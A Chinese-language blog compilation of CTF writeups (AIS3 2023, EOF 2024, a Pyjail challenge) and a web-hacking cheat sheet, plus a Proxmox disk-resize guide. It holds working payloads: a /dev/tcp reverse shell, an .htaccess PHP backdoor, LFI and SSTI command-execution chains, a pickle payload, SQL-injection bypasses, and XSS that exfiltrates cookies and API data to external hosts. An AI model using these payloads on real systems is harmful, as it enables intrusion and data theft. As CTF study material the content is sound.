"🐻": "bear",
"🐼": "panda",
"🐨": "koala",
"🐯": "tiger",
"🦁": "lion",
"🐮": "cow",
"🐷": "pig",
"🐽": "pig nose",
"🐸": "frog",
"🐒": "monkey",
"🐔": "chicken",
"🐧": "penguin",
"🐦": "bird",
"🐤": "baby chick",
"🐣": "hatching chick",
"🐥": "front-facing baby chick",
"🦆": "duck",
"🦅": "eagle",
"🦉": "owl",
"🦇": "bat",
"🐺": "wolf",
"🐗": "boar",
"🐴": "horse",
"🦄": "unicorn",
"🐝": "bee",
"🐛": "bug",
"🦋": "butterfly",
"🐌": "snail",
"🐞": "lady beetle",
"🐜": "ant",
"🦟": "mosquito",
"🦗": "cricket",
"🕷️": "spider",
"🕸️": "spider web",
"🦂": "scorpion",
"🐢": "turtle",
"🐍": "python",
"🦎": "lizard",
"🦖": "T-Rex",
"🦕": "sauropod",
"🐙": "octopus",
"🦑": "squid",
"🦐": "shrimp",
"🦞": "lobster",
"🦀": "crab",
"🐡": "blowfish",
"🐠": "tropical fish",
"🐟": "fish",
"🐬": "dolphin",
"🐳": "whale",
"🐋": "whale",
"🦈": "shark",
"🐊": "crocodile",
"🐅": "tiger",
"🐆": "leopard",
"🦓": "zebra",
"🦍": "gorilla",
"🦧": "orangutan",
"🦣": "mammoth",
"🐘": "elephant",
"🦛": "hippopotamus",
"🦏": "rhinoceros",
"🐪": "camel",
"🐫": "two-hump camel",
"🦒": "giraffe",
"🦘": "kangaroo",
"🦬": "bison",
"🦥": "sloth",
"🦦": "otter",
"🦨": "skunk",
"🦡": "badger",
"🐾": "paw prints",
"◼️": "black square",
"◻️": "white square",
"◾": "black medium square",
"◽": "white medium square",
"▪️": "black small square",
"▫️": "white small square",
"🔶": "large orange diamond",
"🔷": "large blue diamond",
"🔸": "small orange diamond",
"🔹": "small blue diamond",
"🔺": "triangle",
"🔻": "triangle",
"🔼": "triangle",
"🔽": "triangle",
"🔘": "circle",
"⚪": "circle",
"⚫": "black circle",
"🟠": "orange circle",
"🟢": "green circle",
"🔵": "blue circle",
"🟣": "purple circle",
"🟡": "yellow circle",
"🟤": "brown circle",
"⭕": "empty circle",
"🅰️": "A",
"🅱️": "B",
"🅾️": "O",
"ℹ️": "i",
"🅿️": "P",
"Ⓜ️": "M",
"🆎": "AB",
"🆑": "CL",
"🆒": "COOL",
"🆓": "FREE",
"🆔": "ID",
"🆕": "NEW",
"🆖": "NG",
"🆗": "OK",
"🆘": "SOS",
"🆙": "UP",
"🆚": "VS",
"㊗️": "祝",
"㊙️": "秘",
"🈺": "營",
"🈯": "指",
"🉐": "得",
"🈹": "割",
"🈚": "無",
"🈲": "禁",
"🈸": "申",
"🈴": "合",
"🈳": "空",
"🈵": "滿",
"🈶": "有",
"🈷️": "月",
"🚗": "car",
"🚕": "taxi",
"🚙": "SUV",
"🚌": "bus",
"🚎": "trolleybus",
"🏎️": "race car",
"🚓": "police car",
"🚑": "ambulance",
"🚒": "fire engine",
"🚐": "minibus",
"🚚": "delivery truck",
"🚛": "articulated lorry",
"🚜": "tractor",
"🛴": "kick scooter",
"🚲": "bicycle",
"🛵": "scooter",
"🏍️": "motorcycle",
"✈️": "airplane",
"🚀": "rocket",
"🛸": "UFO",
"🚁": "helicopter",
"🛶": "canoe",
"⛵": "sailboat",
"🚤": "speedboat",
"🛳️": "passenger ship",
"⛴️": "ferry",
"🛥️": "motor boat",
"🚢": "ship",
"👨": "man",
"👩": "woman",
"👶": "baby",
"🧓": "old man",
"👵": "old woman",
"💿": "CD",
"📀": "DVD",
"📱": "phone",
"💻": "laptop",
"🖥️": "pc",
"🖨️": "printer",
"⌨️": "keyboard",
"🖱️": "mouse",
"🖲️": "trackball",
"🕹️": "joystick",
"🗜️": "clamp",
"💾": "floppy disk",
"💽": "minidisc",
"☎️": "telephone",
"📟": "pager",
"📺": "television",
"📻": "radio",
"🎙️": "studio microphone",
"🎚️": "level slider",
"🎛️": "control knobs",
"⏰": "alarm clock",
"🕰️": "mantelpiece clock",
"⌚": "watch",
"📡": "satellite antenna",
"🔋": "battery",
"🔌": "plug",
"🚩": "flag",
"⓿": "0",
"❶": "1",
"❷": "2",
"❸": "3",
"❹": "4",
"❺": "5",
"❻": "6",
"❼": "7",
"❽": "8",
"❾": "9",
"❿": "10",
"⭐": "*",
"➕": "+",
"➖": "-",
"✖️": "×",
"➗": "÷"

}cat: flag: Is a directory
cat: templates: Is a directory

現在我們得到一個json有所有指令的對照表,並且可以知道flag應該是在 flag 的資料夾。

嘗試 cat flag 資料夾裡面的東西,可以從剛剛 dump 出來的 json 找可以用的指令,這邊使用;/:|切割指令,回傳的結果似乎是一個 python file

1
💿 🚩😓😑🐱 ⭐ #cd flag;/:|
1
2
3
#flag-printer.py

print(open('/flag','r').read())
  1. 執行python,get flag
    1
    💿 🚩😓😑🐍❸ 🚩➖🖨️⭐

AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}

Can you describe Pyjail?

Yet another 🐍 ⛓️.
nc chals1.ais3.org 48763
Author: Vincent55

這題不是我出的,但是 Vincent 大佬出的題目還是要捧場一下

source code

看source code可以知道是很純的pyjail,在 safe_eval 裡面就把該 ban 的都 ban 光了

跟前面那題 evil calculator 比起來 calculator 一點都不 evil

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/local/bin/python3

from safe_eval import safe_eval
from inspect import getdoc


class Desc:
"""
Welcome to my 🐍 ⛓️
"""

def __get__(self, objname, obj):
return __import__("conf").flag

def desc_helper(self, name):
origin = getattr(type, name)
if origin == type.__getattribute__:
raise NameError(
"Access to forbidden name %r (%r)" % (name, "__getattribute__")
)
self.helper = origin


class Test:
desc = Desc()


test = Test()
test.desc = "flag{fakeflag}"


# Just a tricky way to print a welcome message, or maybe a hint :/
# You can just `print(getdoc(Desc))`
# This is not part of the challenge, but if you can get the flag through here, please contact @Vincent55.
welcome_msg = """
desctmp := Desc()
desctmp.desc_helper("__base__")
Obj := desctmp.helper
desctmp := Desc()
desctmp.desc_helper("__subclasses__")
print(getdoc(desctmp.helper(Obj)[-2]))
""".strip().replace("\n", ",")
welcome_msg = f"({welcome_msg})"

safe_eval(
welcome_msg,
{"__builtins__": {}},
{"Desc": Desc, "print": print, "getdoc": getdoc},
)


# Your challenge begin here!
payload = input("✏️: ")

safe_eval(
payload,
{"__builtins__": {}},
{"Desc": Desc},
)

# print(f"test.__dict__: {test.__dict__}")
print(f"🚩: {test.desc}")

看完 source code 可以發現他在print welcome_msg 的時候用了一個非常詭異的方法,也算是這題的題示。

welcome_msg到底在幹嘛

首先看到下面這段程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
welcome_msg = """
desctmp := Desc()
desctmp.desc_helper("__base__")
Obj := desctmp.helper
desctmp := Desc()
desctmp.desc_helper("__subclasses__")
print(getdoc(desctmp.helper(Obj)[-2]))
""".strip().replace("\n", ",")
welcome_msg = f"({welcome_msg})"

safe_eval(
welcome_msg,
{"__builtins__": {}},
{"Desc": Desc, "print": print, "getdoc": getdoc},
)

其實會發現你可以透過 getattr(type, name) 取得type底下的attribute
這裡會卡一個知識點,就是當你要取得某個 class 的 subclass 的時候(假設是 str ),會寫 str.__subclasses__() ,但其實可以寫成 type.__subclasses__(str) ,前提是 strclass 必須是 type

所以我們可以先透過 getattr(type,"__subclasses__") 取得 type.__subclasses__ 再把 __base__ 塞進去就可以得到 type.__base__.__subclasses__()

好到這邊大家應該已經搞懂上面那陀 welcome_msg 的 payload 到底在幹嘛了,簡單來說就是到 object 裡面把所有 class 抓出來,然後抓倒數第2個 class (jail.Desc)把它印出來

解題

一開始想改抓 jail.Test 下面的 desc 就可以拿到 flag
抓是抓得到,但是print不出來啊

1
a = Desc();a.desc_helper("__base__");obj=a.helper;a = Desc();a.desc_helper("__subclasses__");obj = a.helper(obj)[-1].desc

這邊又卡一個知識點了,那就是 python 的 descriptor 解析有優先度的問題(題目有提示describe,雖然我覺得沒有人看得懂)

以下參考 @Vincent550102 的筆記:

  • 如果 __get__ 與 __set__ 都有,優先使用描述器(Descriptor):
    當一個描述器同時實現了 __get__ 和 __set__ 方法時,Python 會認為它是一個資料描述器(Data Descriptor)。資料描述器的一個特點是它們對屬性的訪問有更高的優先級。
    如果不是,則在自己的 __dict__ 裡面找:
  • 如果描述器沒有作為資料描述器或者只實現了 __get__ 方法的非資料描述器(Non-Data Descriptor)或者找不到描述器,Python 會繼續在物件的 __dict__ 屬性字典中尋找是否存在該屬性。
  • 若在 __dict__ 也找不到,嘗試用描述器的 __get__:
    如果在物件的 dict 中找不到該屬性,Python 會檢查是否存在只實現了 get 方法的非資料描述器,如果存在,則回傳該描述器的 __get__ 方法。
    都沒有,直接回傳描述器:
  • 如果上述步驟都無法找到該屬性,最後會返回描述器物件本身,如果連描述器也不存在,則會拋出 AttributeError。

看到這邊,問題已經變很簡單了,那就是我們需要將 __get__ 變成最高優先級,此時後面就算 fake_flag 把 test.desc 蓋掉也沒有用,仍然會回傳 Test.__get__() 的內容

如何將 __get__ 變成最高優先級呢?只要新增一個 __set__ 就行了

1
2
func = lambda self,obj,val:None
desc.__setattr__("__set__",func)
1
2
#payload
(a := Desc(),a.desc_helper("__base__"),obj:=a.helper,a := Desc(),a.desc_helper("__subclasses__"),desc:=a.helper(obj)[-2],a:=Desc(),a.desc_helper("__setattr__"),func:=lambda self,obj,val:None,a.helper(desc,"__set__",func))

AIS3{y0u_kn0w_h0w_d35cr1p70r_w0rk!}

如何使用Parted幫 Proxmox VM 擴充磁碟大小

在開始之前,建議先備份一下,因為我上次用parted的時候沒打單位直接把sda變成32MB大家要小心

  1. 點選要更改的 VM -> Hardware -> 要擴容的Hard Disk -> Disk Action -> Resize

  2. 進入VM lsblk 看一下是否有新增成功


    我這邊是擴容到36GB

  3. parted /dev/sda 進入parted,並用 print 查看一下配置

  4. resizepart 你想要resize的part,輸入resize大小 (這邊記得打單位!!)

  5. quit 退出 parted

  6. 使用 resize2fs 將文件系統擴容

1
sudo resize2fs /dev/sda1

CTF Cheatsheet - Web

web

Information Leak

.git / .svn / .bzr

版本控制系統

.git洩漏可用scrabble將整個.git資料夾下載下來並用git 還原

1
./scrabble http://www.example.com/ 

Google Hacking

1
2
3
site:www.example.com
intext:"管理介面"
filetype:sql

GHDB

robots.txt

.DS_Store

.index.php.swp

Backup file

XSS

XSS Payload

CSP 怎麼偷資料

假設他 Content Security Policy 在亂寫一通的話,可以用 CSP Evaluator 檢查

CSP 沒擋用什麼偷

例如 CSP 只有擋 script ,那就用 <img> 來偷

1
script-src 'none';

如果把連線都擋掉的話,還是可以使用 location.hrefwindow.open() 透過跳轉來偷資料

1
default-src 'none';script-src 'unsafe-inline';

JSONP

允許特定第三方網站引入時,可以嘗試使用 JSONP 引入惡意程式碼

1
default-src https://example.com

JSONBee

DNS prefetch

1
<link rel=dns-prefetch href=[YOUR_DATA].webhook.trianglesnake.com>

WebRTC

1
2
3
4
5
6
7
8
9
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

PHP 弱型別判斷

https://i.stack.imgur.com/giVhE.png

PHP弱型別的安全問題詳細總結

md5()&sha1()

1
2
3
4
5
6
7
8
md5(array()) ==sha1(array())//true=>error=error

md5(240610708)==0 //true
/*
md5(240610708)=>'0e462097431906509019562988736854'
在弱型別判斷中會做為科學記號和int比較
*/
sha1('aa3OFF9m')=>'0e36977786278517984959260394024281014729'

https://www.cnblogs.com/shijiahao/p/12638484.html

https://www.twblogs.net/a/5cd66c22bd9eee67a77f66f9

header竄改

可偽造ip相關

  • X-Forward-For
  • Client-IP
  • X-Real-IP

SSRF

gopher 用法

1
2
3
4
5
6
7
8
9
10
11
gopher://host:port/_HTTPRequest

//example POST request:

*gopher://192.168.0.1:8888/_POST/index.php?action=login HTTP/1.1
Host:127.0.0.1:1000
Content-type:application/x-www-form-urlencoded
Content-Length:20

username=admin&password=bupt666
//換行要用%0D%0A(\r\n)*

備註:發起POST的四個必要欄位
POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11

gopher POST request payload

1
gopher://localhost:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20localhost%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%207%0d%0A%0d%0afoo=bar%0d%0A

https://hackmd.io/@Lhaihai/H1B8PJ9hX


LFI&RFI

php require()&include()

偽協議

1
2
3
4
5
6
7
8
9
//phpfilter
index.php?file=php://filter/read=convert.base64-encode/resource=target.php

//phar 打包成zip下載
index.php?file=phar://test.zip/target.php

//data:URL schema
index.php?file=data:text/plain,<?php system('ls');?>
index.php?file=data:text/plain;base64,**PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==**

data:URL schema更多用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#敏感檔案
/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

SESSION植入WebShell

若session可寫入,可以利用LFI執行php

1
2
寫入<?php system("ls");?>
index.php?file=/<sess_path>/sess_<your session>

session_path可由phpinfo內找到session.save_path,若無則放在/tmp內

/var/lib/php/session

session檔名為sess_<session id>

freebuf-LFI


JS prototype pollution

基於 JS 原型鏈的攻擊手法:Prototype Pollution

當javascript在呼叫內建函式時,會透過prototype找上一層要呼叫的函式(因為內建函式並沒有真正在乎叫的物件之中)
舉例來說:

1
2
var lst = ['test']
console.log(lst.toString())

toString()不可能每個宣告的Array Object都有toString(),當呼叫時必須透過prototype找到上一層然後呼叫Array.toString

所以其實在呼叫lst.toString()的時候其實是呼叫了Array.prototype.toString()

而哪些object的prototype是甚麼則定義在object的__proto__裡面

1
lst.__proto__.toString == Array.prototype.toString //true

因此,在一些情況下,有些功能可能造成prototype可以被竄改,進而導致prototype pollution

parse query

在對於Array進行賦值的時候,攻擊者可以透過構造key為__proto__達到prototype pollution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//parseQuery function回傳一個parsed的dict
function parseQuery(queryString) {
const params = {};
queryString.split('&').forEach(param => {
const [key, value] = param.split('=');
params[key] = value;
});
return params;
}

// Example usage
const userInput = 'user=admin&isAdmin=true';

// Parsing user input
const parsedQuery = parseQuery(userInput);
console.log(parsedQuery); // Output: { user: 'admin', isAdmin: 'true' }

// 透過prototype pollution把驗證機制竄改掉,繞過檢查機制
parseQuery('user=admin&isAdmin=true&__proto__.isAdmin=true');

// isAdmin被竄改,return true
console.log({}.isAdmin); // Output: true

合併物件

合併物件同樣有可能發生

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function merge(a, b) {
for(let prop in b) {
if (typeof a[prop] === 'object') {
merge(a[prop], b[prop])
} else {
a[prop] = b[prop]
}
}
}

var config = {
a: 1,
b: {
c: 2
}
}

var customConfig = JSON.parse('{"__proto__": {"isAdmin": 1}}')
merge(config, customConfig)

var obj = {}
console.log(obj.isAdmin)

不難看出,其實只要有對Object的key和value進行操作,就很有可能導致prototype pollution


.htaccess

可影響apache伺服器中資料夾內的檔案

利用指定404、403等錯誤響應文件達成LFI

1
2
ErrorDocument 404 /flag.txt
ErrorDocument 404 /shell.php

強制解析非php檔案造成RCE

1
AddType application/x-httpd-php .txt

將.htaccess本身作為php執行後門

1
2
php_value auto_prepend_file .htaccess
#<?php echo system($_GET['cmd']); ?>

#為.htaccess的註解符號

若有WAF則可用\換行繞過

1
2
3
p\
hp_value auto_prepend_file .htaccess
#<?=echo system($_GET['cmd']); ?>

遇到\時,會接續下一行

https://blog.csdn.net/solitudi/article/details/116666720

Serialize&Deserialize

呼叫反序列化時,可能呼叫一些Magic Method

序列化

Value Serialize(PHP)
8459302 i:8459302;
TRUE b:1;
NULL N;
[’x’,1] a:2:{i:0;s:1:”x”;i:1;i:1;}

PHP Object的序列化

1
2
3
4
5
6
7
new Cat("kitten") =>O:3:"Cat":1:{s:4:"name";s:6:"kitten";}

class Cat{
public $a; =>{s:1:"a";.....}
private $b; =>{s:6:"\x00Cat\x00b";.....}
protected $c; =>{s:4:"\x00*\x00c";.....}
}

反序列化

1
2
3
4
5
6
7
PHP Magic Method
在指定時機自動呼叫magic method
__destruct() //Object 被銷毀或garbage collection
__wakeup() //unserialize時觸發
__call() //被呼叫不存在方法時觸發
__toString() //被當成string處理時觸發(如 echo)

1
2
3
4
5
6
7
8
**Python Pickle**
pickle.dumps()會將資料序列化
可寫payloads
import subprocess
class payload(object):
def __reduce__(self):
return (subprocess.check_output,(['cat','/flag_5fb2acebf1d0c558'],))
再想辦法把payload()塞進dumps裡面

Phar與反序列化

1


SSTI(Server Side Template Injection)

python Flask預設模板為Jinja2

1
2
3
4
5
6
7
8
9
10
11
render_template_string(template)
#可做一些簡單運算
template={{7*7}} =>49

{%for item in item_list %}
{{ item }}{% if not loop.last %},{% endif %}
{%-endfor-%}
'''
可以import os os.system()嗎? 不行,code是放在sandbox中跑的
但可以用config.from_pyfile(filename)執行任意python檔案
'''

使用_mro_(Method Resolution Order) bypass Python的Sandbox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[].__class__ =><class 'list'>
#對object 查詢method

[].__class__.__mro__ =>(<class 'list'>,<class 'object>)
#_mro_可查詢解析物件順序,此時可以發現所有物件的底層皆為object

[].__class__.__base__ =><class 'object'>
#_base_可返回最底層的method,所以返回object

[].__class_.__base_.__subclasses__()
#_subclasses_直接返回所有subclasses,猛了object在最底層,所以所有物件都會return

[].__class__.__base__.__subclasses__()[132] =><class 'os._wrap_close'>
#os出現了

[].__class__.__base__.__subclasses__()[132].__init__.__globals__ =>返回所有可被global調用的method

{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('ls')}}
#os.system被A出來了

{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
#回傳結果

SSTI Payload
更多奇技淫巧:https://tw511.com/a/01/48066.html

SQL injection

https://www.796t.com/content/1545706659.html
https://zu1k.com/posts/security/web-security/bypass-tech-for-sql-injection-keyword-filtering/

Comments

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support Comments

常見waf

1
escape()->被轉成%XX,@* _ + - . /不編碼

waf繞過

1
2
3

'弄不出來的時候可以嘗試兩個urlencode合在一起
%bf%27、%df%27、%aa%27

Reversed Shell

1
2
3
最經典
nc -klvp [port] #attacker's host
/bin/sh -i >& /dev/tcp/[host]/[port] 0<&1 #victim

問就是 revshells.com

Commandline Injection

截斷指令

最基本的截斷可用;達成,也可使用

  • cmd1&&cmd2cmd1 執行成功時執行cmd2
  • cmd1&cmd2簡單拼接,無論cmd1執行成功與否都會執行cmd2
  • cmd1||cmd2cmd1執行失敗時執行`cmd2
  • cmd1|cmd2cmd1的執行結果以pipeline塞給cmd2
  • 可以將指令包在 \`或是$()` 之中

空格繞過

  • 使用<>繞過
    • cat<flag
    • cat<>flag
  • {cat,flag}
  • 使用特殊變量$IFS繞過(預設是空格)
    • cat$IFS./flag
    • cat$IFS\flag

過濾繞過

  • regex繞過
    • /usr/bin/ca? flag
  • 反斜線繞過
    • ca\t fl\ag
  • 空變量繞過
    • ca${Z}t flag

一些猛料

https://www.zhihu.com/tardis/zm/art/339266206?source_id=1003
https://blog.csdn.net/m0_61011147/article/details/126722464

一些會一直旺季的東東

更多筆記

https://github.com/splitline/How-to-Hack-Websites

https://github.com/splitline/My-CTF-Challenges/

[資安新手入門手冊] Web Security 領航之路

简介 - CTF Wiki

https://github.com/w181496/Web-CTF-Cheatsheet

2023 AIS3 Pre-Exam writeup

Misc

Welcome

Are you not a robot ?
FLAG Format: ^AIS3{[A-Z0-9+-*/!?-]+}$

Author: nella17

點開pdf,flag直接寫在上面了,一開始以為-是_結果浪費一堆時間

AIS3{WELC0ME-T0-2023-PRE-EXAM-&-MY-FIRST-CTF}

Robot

Are you a robot?

Note: This is NOT a reversing or pwn challenge. Don't reverse the 
binary. It is for local testing only. You will actually get the flag 
after answering all the questions. You can practice locally by running 
./robot AIS3{fake_flag} 127.0.0.1 1234 and it will run the service on 
localhost:1234.

Author: toxicpie

nc chals1.ais3.org 12348

機器人會問你三十題數學,可以直接寫Python用eval()解
在discord看到有人說直接用手解,牛皮

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pwn
import time
io=pwn.remote("chals1.ais3.org",12348)

print(io.recvuntil("!"))
time.sleep(0.5)
for i in range(30):
print(f"solving..{i+1}")
string=io.recv().decode()
string=string.strip(" ").strip("\n")
print(string,eval(string))
io.sendline(str(eval(string)))
time.sleep(0.5)
io.interactive()

AIS3{don’t_eval_unknown_code_or_pipe_curl_to_sh}
被罵了

PWN

Simply Pwn

The simplest pwn

nc chals1.ais3.org 11111

經典buffer overflow

先用gdb觀察

ni到read附近

可以發現輸入變數存在rsi=rbp-0x50+0x9=rbp-0x47

所以必須墊0x47+8byte(RSP)+address,剛好可以覆蓋return address

直接讓程式跳到shellcode

exploit code

1
2
3
4
5
import pwn
io=pwn.remote("chals1.ais3.org",11111)
payload=b"a"*(0x4f)+pwn.p64(0x4017a5)
io.sendline(payload)
io.interactive()

AIS3{5imP1e_Pwn_4_beGinn3rs!}

Web

Login Panel

Login Panel 網站採用了隱形 reCAPTCHA 作為防護機制,以確保只有人類的使用者能夠登入
admin 的帳號。你的任務是找到一個方法來繞過 reCAPTCHA,成功登入 admin 的帳號。

你可以使用各種技術和手段來達成目標,可能需要進行一些網站分析、程式碼解讀或其他形式的
攻擊。請注意,你需要遵守道德規範,不得進行任何非法或有害的行為。

當你成功登入 admin 的帳號後,你將能夠獲得 FLAG。請將 FLAG 提交至挑戰平台,以證明
你的成功。

Author: Ching367436

http://chals1.ais3.org:8000/

直接讀source code

1
db.get(`SELECT * FROM Users WHERE username = '${username}' AND password = '${password}'`

聞起來就很有SQL injection的味道

Bypass Login Page

注入username

1
username=' or 'a'='a

中計直接被Redirect到rickroll

ok不然改注password

1
username=admin&password=' or 'a'='a

成功進入之後還有2fa認證,要輸入2fa code才能進到dashboard看flag,但是仔細看其實驗證完之後他也只是redirect到/dashboard而已,所以直接存取/dashboard即可

AIS3{‘ UNION SELECT 1, 1, 1, 1 WHERE ({condition})–}

E-Portfolio baby

AIS3 E-Portfolio 是一個學習成就展示平台,讓使用者可以建立並分享他們在 AIS3 的學習成果和專
案作品。其中,網站提供了一個「Share your portfolio with admin」的功能,讓使用者可以將自
己的作品集分享給管理員。

你需要找出一個前端漏洞,當你分享作品集給管理員時,能夠竊取 admin 的旗幟。你可以透過探索網站
的前端程式碼,找到適當的方式來觸發漏洞並取得旗幟。

請注意,你需要在漏洞設計中保持合法並遵循道德原則。請勿以任何方式傷害網站的正常運作或使用者的隱私。

對了,按下「Share your portfolio with admin」的按鈕的時候,admin 會去拜訪的頁面會是
http://url/share?username={按下那個按鈕的使用者名稱}。

Author: Ching367436

http://chals1.ais3.org:8880/

看到share to admin就知道這是csrf題目
先戳戳看

測試XSS

1
<script>alert()</script>

沒反應,因為寫上文字是使用innerHTML,所以對 <script> 標籤不起作用

1
2
3
4
5
6
7
if (data.success) {
username.innerHTML = data.data.username
about.innerHTML = data.data.about
avatar.src = data.data.avatar
} else {
alert(data.message)
}

<img src> 試試

1
<img src="123" onerror=alert()>


果然出現XSS

嘗試當cookie小偷

一開始的思路是當cookie小偷,然後用admin登入看flag藏在哪

1
2
3
4
<img src='' onerror=fetch('https://script.google.com/macros/s/\
AKfycbxFRZIq7zd9X5gpd9MNCIe9m6d_GwrT3kY9vkVH8hPXic7pbr-\
pW0B8vTj0lureCaOdOA/exec?\
text=cookie:'+encodeURI(document.cookie))>


因為有設定HTTP only所以偷不到cookie(後來發現偷到也沒用,flag不在admin的頁面裡面)

嘗試直接偷api內容

看sauce code會發現其實flag寫在admin的密碼裡面,然後密碼又透過api/portfolio傳遞

ok開偷

1
2
3
4
5
6
7
8
9
<img src="123" onerror="fetch('api/portfolio')
.then(response =>response.text()).then(text=>{
var url=
'https://script.google.com/macros/s/\
AKfycbxFRZIq7zd9X5gpd9MNCIe9m6d_GwrT3kY9vkVH8hPXic7pbr-\
pW0B8vTj0lureCaOdOA/exec?text='
fetch(url+encodeURI(text))
})">


在瀏覽器上測試成功,但share to admin甚麼事都沒發生


網站沒有設定CSP,所以應該是機器人沒辦法訪問外網

嘗試寫入自己的page

沒辦法直接用webhook就變很複雜了

改變絲路:
偷到api/portfolio->登入自己的帳號->寫入textarea->儲存

創建登入form

1
2
3
4
<form id=form action="/api/login" method="post" target="_blank">
<input name="username" value="test123">
<input name="password" value="test">
</form>

先偷api/portfolio再submit表單切成自己帳號,最後改textarea、click save

1
2
3
4
5
6
7
8
9
10
11
12
<img src="123" onerror="fetch('http://web:8000/api/portfolio')
.then(response =>response.text()).then(text=>{
form.submit()
setTimeout(function() {
console.log('123');
}, 1000);
var win=window.open('http://web:8000/portfolio')
setTimeout(() => {
win.document.querySelector('textarea[id=about]').value = text;
win.document.querySelector('button[id=save]').click()
}, 1000)
})">

AIS3{<img src=x onerror=’fetch(…}

Reverse

Simply Reverse

Just reverse it!

先執行看看

丟ghidra


這邊有一個verify函式判斷key是否正確

解題絲路

因為verify()的迴圈每跑一圈就會檢查一個char,一直到local_c=0x22 然後return true;
所以可以brute force 跑每個字元然後看迴圈有沒有炸掉

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pwn
import time
io=pwn.process("gdb")
io.sendline("file rev")
io.sendline("start")
io.sendline("b *0x5555555551fb") #把breakpoint 設在迴圈裏面,如果沒有停代表是錯的
io.recvrepeat(timeout=1)
flag="AIS3{"
while 1:
for i in range(0x20,0x7E):
print("trying..",flag+chr(i))
io.sendline(f"set args {flag+chr(i)}")
io.sendline("run")
for j in range(len(flag)+1):
io.sendline("c")
io.recvrepeat(timeout=0.3).decode()
io.sendline("x/x $rbp-0x4")
string=io.recv().decode()
if "No" not in string:
flag+=chr(i)
break

AIS3{0ld_Ch@1_R3V1_fr@m_AIS32016!}

Crypto

Fernet

你所在的公司最近發生了一起駭客入侵事件,管理員發現駭客使用 Fernet 密碼學來加密了他們的敏感數據。
你需要解開被加密的檔案,否則事情就大條了!

flag format : FLAG{xxx}

Auther : Richard ( dogxxx)

看code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import os
import base64
from cryptography.fernet import Fernet
from Crypto.Hash import SHA256
from Crypto.Protocol.KDF import PBKDF2
from secret import FLAG

def encrypt(plaintext, password):
salt = os.urandom(16)
key = PBKDF2(password.encode(), salt, 32, count=1000, hmac_hash_module=SHA256)
f = Fernet(base64.urlsafe_b64encode(key))
ciphertext = f.encrypt(plaintext.encode())
return base64.b64encode(salt + ciphertext).decode()

# Usage:
leak_password = 'mysecretpassword'
plaintext = FLAG

# Encrypt
ciphertext = encrypt(plaintext, leak_password)
print("Encrypted data:",ciphertext)

絲路

密碼都給你了所以反著解密就好了

加密流程是:產生salt->產生key->用key加密flag->把salt+ciphertext用base64 encode起來
所以其實salt也給你了就是base64 decode後的前16個char

decrypt code

解密流程:base64 decode->取得salt、ciphertext->用password、salt重建key->用key解密ciphertext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import os
import base64
from cryptography.fernet import Fernet
from Crypto.Hash import SHA256
from Crypto.Protocol.KDF import PBKDF2
cipher='''
iAkZMT9sfXIjD3yIpw0ldGdBQUFBQUJrVzAwb0pUTUdFbzJYeU0tTGQ4OUUzQXZhaU9HMmlO
aC1PcnFqRUIzX0xtZXg0MTh1TXFNYjBLXzVBOVA3a0FaenZqOU1sNGhBcHR3Z21RTTdmN1dQUkcxZ1Ja
OGZLQ0E0WmVMSjZQTXN3Z252VWRtdXlaVW1fZ0pzV0xsaUM5VjR1ZHdj
'''
cipher=cipher.encode()
cipher=base64.b64decode(cipher)
salt=cipher[:16]
cipher=cipher[16:]
print(salt)
print(cipher)
leak_password = 'mysecretpassword'
key = PBKDF2(leak_password.encode(), salt, 32, count=1000, hmac_hash_module=SHA256)
f = Fernet(base64.urlsafe_b64encode(key))
plaintext=f.decrypt(cipher)
print(plaintext)

FLAG{W3lc0m3_t0_th3_CTF_W0rld_!!!!!!}

2024 AIS3 EOF CTF Qual writeup

web

nslookup final

有command injection,用``把指令包起來,但是會有一個問題就是他不會回傳結果,

1
curl webhook.trianglesnake.com/?text=123

呼叫聊天機器人webhook試試看,有收到訊息,所以直接把flag偷出來

因為有WAF限制flag*,但我知道flag的prefix了,所以直接遍歷根目錄檔案找出flag

1
2
`curl -G https://eec1-182-234-154-17.ngrok-free.app/ --data-urlencode 
"$(find / -maxdepth 1 -type f -exec grep 'ais3' {} +)"`

AIS3{jUST_3a$y_cOMmaND_INj3c7I0N}

internal

沒辦法碰到/flag但是如果由內網機器送redirect請求並包含X-Accel-Redirectheader就可以穿透。

